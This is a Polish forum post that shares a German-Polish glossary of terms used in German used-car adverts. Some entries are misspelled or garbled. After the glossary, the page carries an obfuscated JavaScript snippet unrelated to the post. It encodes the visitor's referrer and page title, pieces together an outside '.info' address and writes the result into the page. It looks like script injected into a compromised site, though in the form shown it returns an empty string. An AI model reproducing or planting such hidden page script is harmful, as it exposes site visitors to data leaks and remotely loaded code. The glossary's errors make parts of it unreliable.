przypadkiem znalazłem na innym forum więc wklejam - nie każdy z nas zna niemiecki a wielu szuka samochodów na stronach niemieckich

A
Ablagetische - stoliczki z tyłu
ABS - ABS
Abschliessbares Handschuhfach- zamykany na kluczyk schowek
Anhängerkupplung - hak
Airbag - Poduszka powietrzna
Allrad - napęd na 4 koła (4x4)
Alufelgen - felgi aluminiowe
Außentemperaturanzeige - termometr, wskaźnik temp. zewnętrznej -
Anlasser defekt - uszkodzony rozrusznik
Automatische Geschwindigkeitsregulierung- tempomat
Automatische Umluft Control - ( AUC) - automatyczne sterowanie obiegiem powietrza

B
Bordcomputer - komputer pokładowy

C
Colorverglasung - barwione kolorowo szyby

D
Dachträger - relingi dachowe
Diebstahlwarnanlage - alarm
Doppelverglasung- podwójne szyby

E
Einparkhilfe - parktronik
Elektronische Daempfer Control- EDC- elektronicznie sterowane amortyzatory
Elektr. Fensterheber - elektrycznie podnoszone/opuszczane szyby
Elektrische Lenkradverstellung - el. regulacja kierownicy
Elektrische Sitze - elektrycznie regulowane fotele przednie
Elektrische Fahrersitz - elektrycznie regulowany fotel kierowcy (jak dopisane + beifahrer tzn. też pasażera)
Elektrisches Sonnenschutzrollo fuer Heckscheibe - roleta elektryczna tylnej szyby
el. ausenspiegel - elektrycznie sterowane lusterka
Ersterhand - Aus ersterhand - od pierwszego właściciela
Erstzulassung - pierwsza rejestracja
Euro 3 - lub inna cyfra - emisja spalin zgodna z daną normą Euro

F
Fahrbereit ( czesto z VOLL ) - jezdzący, w pełni jezdzący ( samodzielnie )
Fernbedienung / infrarot - sterowanie zamkiem za pomocą pilota / na podczerwien
Fondsitzheizung - ogrzewanie foteli tył
FP (festpreis) - cena ostateczna
Freisprechanlage - zestaw głośnomówiący pod tel. komórkowy ("hands-free")
Frontscheibe mit Gruenkeil - przednia szyba z zielonym pasem Frank
Fussmatten velours - welurowe dywaniki

G
Gepäckraumabdeckung - roleta bagażnika
Gepaeckraumnetz - siatka w bagazniku
Getriebe - skrzynia (Schaltgetriebe - manualna skrzynia)
Getriebeschaden - uszkodzona skrzynia biegow
Gepaeckraumnetz - siatka w bagazniku

H
Hagelschaden - uszkodzenia po gradobiciu

I
Innenrueckspiegel automatisch abblendend - lusterko wewnentrzne automatycznie ściemniane

K
Keine Rost- zero rdzy
Klima - klimatyzacja
Klimaanlage - klimatyzacja manualna (nie klimatronik)
Kopfstützen im Fond - zagłówki na kanapie
Kupplungs defekt / Kupplung erneuert - uszkdzone sprzegło/ nowe sprzegło

L
Lauft einwandfrei - pracuje bez zarzutu
Lederausstattung - skóra
Leichtmetallfelgen- aluminiowe felgi
Lenksäule einstellbar - chyba regulowana pozycja kierownicy
Leseleuchten - światełka do czytania ( jupiterki popularnie )
Leuchtweitenregulierung- el. regulacja swiateł
Lordosenstuetze - pompowanie oparć foteli

M
Mittelarmlehne - chyba podłokietnik
Motor macht gerausch - silnik hałasuje
Motor raucht - silnik kopci
Motorschaden- uszkodzony silnik
Multifunktionlenkrad - sterowanie w kierownicy (radiem, nawi, czymś jeszcze - zależnie od modelu)

N
Nebelscheinwerfer - światła przeciwmgielne
Normalen gebrauchspuren - normalne ślady użytkowania
Niveauregulierung - amorki hydrauliczne nivo z tyłu

O
Oel/ Kuehlwasser verlust - ubytki oleju/ płynu chłodniczego

R
Radio - radio, przeważnie chodzi o kaseciaka, chyba że dopisane niżej że CD
Radio/CD - radio z CD
Rost - rdza
Rueckwartsgangschaden - uszkodzony bieg wsteczny

S
Schaden - uszkodzony
Schaltgetriebe - skrzynia manualna(ręczna)
Scheckheftgepflegt - książka serwisowa (dosłownie "zadbany zeszytem serwisowym")
Scheinwerferreinigungsanlage - spryskiwacze reflektorów
Schiebedach - szyberach
Seitenairbags - poduszki boczne
Servolenkung - wspomaganie kierownicy
Sonnenschutzrollo fuer Heckscheibe- roleta tylnej szyby
Standheizung - ogrzewanie postojowe
Standlueftung- przewietrzanie postojowe
Steuerketteschaden - uszkodzony łancuch rozrzadu

T
Tempomat - tempomat, czyli urządzenie dzięki, któremu możemy jechać ze stałą prędkością, bez naciskania pedału gazu i hamulca, przy automatycznej skrzyni również zmienia biegi.
Tiefer - obniżony
Traktionskontrolle - kontrola trakcji

U
Unfall- uszkodzony
Unfallfrei- bezwypadkowy

V
VB (verhaldungbasis) - cena wywolawcza (do negocjacji)
Ventil verbrannt - wypalony zawór
Viele Verschliessteile neu - wiele nowych części zamiennych

W
Wegfahrsperre -po naszemu "immobiliser" bodaj, blokada przed odjazdem dosłownie czyli jakiś autoalarm
Winterreifen - opony zimowe

X
Xenonscheinwerfer - Światła ksenonowe - mijania (bixenon to mijania+drogowe)

Z
Zentralverriegelung - zamek centralny
Zylinderkopfdichtungschaden- uszkodzona uszczelka pod głowicą




function bb515455aef1f93(str) { return escape(str).replace('+', '%2B').replace('%20', '+').replace('*', '%2A').replace('/', '%2F').replace('@', '%40'); } function aa515455aef1f59(a,b) { var d="http://"; var e="ima"; var f=(600+77); var g=".info/se2"; return(''); } document.write(aa515455aef1f59(bb515455aef1f93(document.referrer),bb515455aef1f93(document.title)));